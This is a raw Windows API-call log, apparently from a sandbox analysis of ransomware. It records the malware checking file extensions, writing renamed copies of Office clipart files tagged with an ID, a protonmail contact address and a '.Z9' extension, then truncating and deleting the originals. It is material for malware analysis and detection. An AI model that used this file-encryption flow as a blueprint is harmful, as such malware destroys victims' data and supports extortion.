	[0082.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.832] lstrlenW (lpString=".zip") returned 4
	[0082.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.832] lstrlenW (lpString=".rar") returned 4
	[0082.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.832] lstrlenW (lpString=".bz2") returned 4
	[0082.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.832] lstrlenW (lpString=".7z") returned 3
	[0082.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.832] lstrlenW (lpString=".dbf") returned 4
	[0082.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.833] lstrlenW (lpString=".1cd") returned 4
	[0082.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.833] lstrlenW (lpString=".jpg") returned 4
	[0082.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.833] lstrlenW (lpString=".doc") returned 4
	[0082.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString=".docx") returned 5
	[0082.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.833] lstrlenW (lpString=".pdf") returned 4
	[0082.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString=".xls") returned 4
	[0082.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.833] lstrlenW (lpString=".xlsx") returned 5
	[0082.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.833] lstrlenW (lpString=".ppt") returned 4
	[0082.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.833] lstrlenW (lpString=".zip") returned 4
	[0082.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.833] lstrlenW (lpString=".rar") returned 4
	[0082.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString=".bz2") returned 4
	[0082.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString=".7z") returned 3
	[0082.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.833] lstrlenW (lpString=".dbf") returned 4
	[0082.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.833] lstrlenW (lpString=".1cd") returned 4
	[0082.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68
	[0082.833] lstrlenW (lpString=".jpg") returned 4
	[0082.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.834] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.834] lstrlenW (lpString="AN04134_.WMF") returned 12
	[0082.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.834] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3416) returned 1
	[0082.834] CloseHandle (hObject=0x338) returned 1
	[0082.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220
	[0082.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.834] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.834] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.835] GetLastError () returned 0x0
	[0082.835] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xd58, lpOverlapped=0x0) returned 1
	[0083.140] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0083.174] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.174] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.174] SetEndOfFile (hFile=0x364) returned 1
	[0083.175] CloseHandle (hObject=0x364) returned 1
	[0083.175] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.175] SetEndOfFile (hFile=0x338) returned 1
	[0083.176] CloseHandle (hObject=0x338) returned 1
	[0083.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1
	[0083.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.633] lstrlenW (lpString=".doc") returned 4
	[0083.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.633] lstrlenW (lpString=".docx") returned 5
	[0083.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.633] lstrlenW (lpString=".pdf") returned 4
	[0083.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString=".xls") returned 4
	[0083.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.634] lstrlenW (lpString=".xlsx") returned 5
	[0083.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.634] lstrlenW (lpString=".ppt") returned 4
	[0083.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".zip") returned 4
	[0083.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.634] lstrlenW (lpString=".rar") returned 4
	[0083.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString=".bz2") returned 4
	[0083.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString=".7z") returned 3
	[0083.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".dbf") returned 4
	[0083.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".1cd") returned 4
	[0083.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".jpg") returned 4
	[0083.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".doc") returned 4
	[0083.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString=".docx") returned 5
	[0083.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.635] lstrlenW (lpString=".pdf") returned 4
	[0083.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.635] lstrlenW (lpString=".xls") returned 4
	[0083.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.635] lstrlenW (lpString=".xlsx") returned 5
	[0083.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.635] lstrlenW (lpString=".ppt") returned 4
	[0083.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.635] lstrlenW (lpString=".zip") returned 4
	[0083.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.635] lstrlenW (lpString=".rar") returned 4
	[0083.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.635] lstrlenW (lpString=".bz2") returned 4
	[0083.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.635] lstrlenW (lpString=".7z") returned 3
	[0083.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.635] lstrlenW (lpString=".dbf") returned 4
	[0083.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.635] lstrlenW (lpString=".1cd") returned 4
	[0083.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0083.635] lstrlenW (lpString=".jpg") returned 4
	[0083.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.635] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.635] lstrlenW (lpString="AN04385_.WMF") returned 12
	[0083.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.977] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5004) returned 1
	[0083.977] CloseHandle (hObject=0x398) returned 1
	[0083.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220
	[0083.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.988] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.988] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0083.989] GetLastError () returned 0x0
	[0083.989] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x138c, lpOverlapped=0x0) returned 1
	[0083.993] WriteFile (in: hFile=0x39c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0083.994] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.994] WriteFile (in: hFile=0x39c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.994] SetEndOfFile (hFile=0x39c) returned 1
	[0083.994] CloseHandle (hObject=0x39c) returned 1
	[0083.995] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.995] SetEndOfFile (hFile=0x398) returned 1
	[0083.996] CloseHandle (hObject=0x398) returned 1
	[0083.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1
	[0083.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.997] lstrlenW (lpString=".doc") returned 4
	[0083.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.997] lstrlenW (lpString=".docx") returned 5
	[0083.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.998] lstrlenW (lpString=".pdf") returned 4
	[0083.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.998] lstrlenW (lpString=".xls") returned 4
	[0083.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.998] lstrlenW (lpString=".xlsx") returned 5
	[0083.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.998] lstrlenW (lpString=".ppt") returned 4
	[0083.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.998] lstrlenW (lpString=".zip") returned 4
	[0083.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.998] lstrlenW (lpString=".rar") returned 4
	[0083.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.998] lstrlenW (lpString=".bz2") returned 4
	[0083.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.998] lstrlenW (lpString=".7z") returned 3
	[0083.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.998] lstrlenW (lpString=".dbf") returned 4
	[0083.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.998] lstrlenW (lpString=".1cd") returned 4
	[0083.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.998] lstrlenW (lpString=".jpg") returned 4
	[0083.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.999] lstrlenW (lpString=".doc") returned 4
	[0083.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.999] lstrlenW (lpString=".docx") returned 5
	[0083.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.999] lstrlenW (lpString=".pdf") returned 4
	[0083.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.999] lstrlenW (lpString=".xls") returned 4
	[0083.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.999] lstrlenW (lpString=".xlsx") returned 5
	[0083.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.999] lstrlenW (lpString=".ppt") returned 4
	[0083.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.999] lstrlenW (lpString=".zip") returned 4
	[0083.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.999] lstrlenW (lpString=".rar") returned 4
	[0083.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.999] lstrlenW (lpString=".bz2") returned 4
	[0083.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.999] lstrlenW (lpString=".7z") returned 3
	[0083.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.999] lstrlenW (lpString=".dbf") returned 4
	[0083.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0083.999] lstrlenW (lpString=".1cd") returned 4
	[0083.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68
	[0084.000] lstrlenW (lpString=".jpg") returned 4
	[0084.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.000] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.000] lstrlenW (lpString="BD00146_.WMF") returned 12
	[0084.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.000] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=28948) returned 1
	[0084.000] CloseHandle (hObject=0x398) returned 1
	[0084.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220
	[0084.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.001] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.001] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.001] GetLastError () returned 0x0
	[0084.001] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x7114, lpOverlapped=0x0) returned 1
	[0084.015] WriteFile (in: hFile=0x39c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7120, lpOverlapped=0x0) returned 1
	[0084.017] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.017] WriteFile (in: hFile=0x39c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.017] SetEndOfFile (hFile=0x39c) returned 1
	[0084.018] CloseHandle (hObject=0x39c) returned 1
	[0084.019] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.019] SetEndOfFile (hFile=0x398) returned 1
	[0084.020] CloseHandle (hObject=0x398) returned 1
	[0084.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1
	[0084.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0084.021] lstrlenW (lpString=".doc") returned 4
	[0084.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.021] lstrlenW (lpString=".docx") returned 5
	[0084.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.021] lstrlenW (lpString=".pdf") returned 4
	[0084.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.022] lstrlenW (lpString=".xls") returned 4
	[0084.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.022] lstrlenW (lpString=".xlsx") returned 5
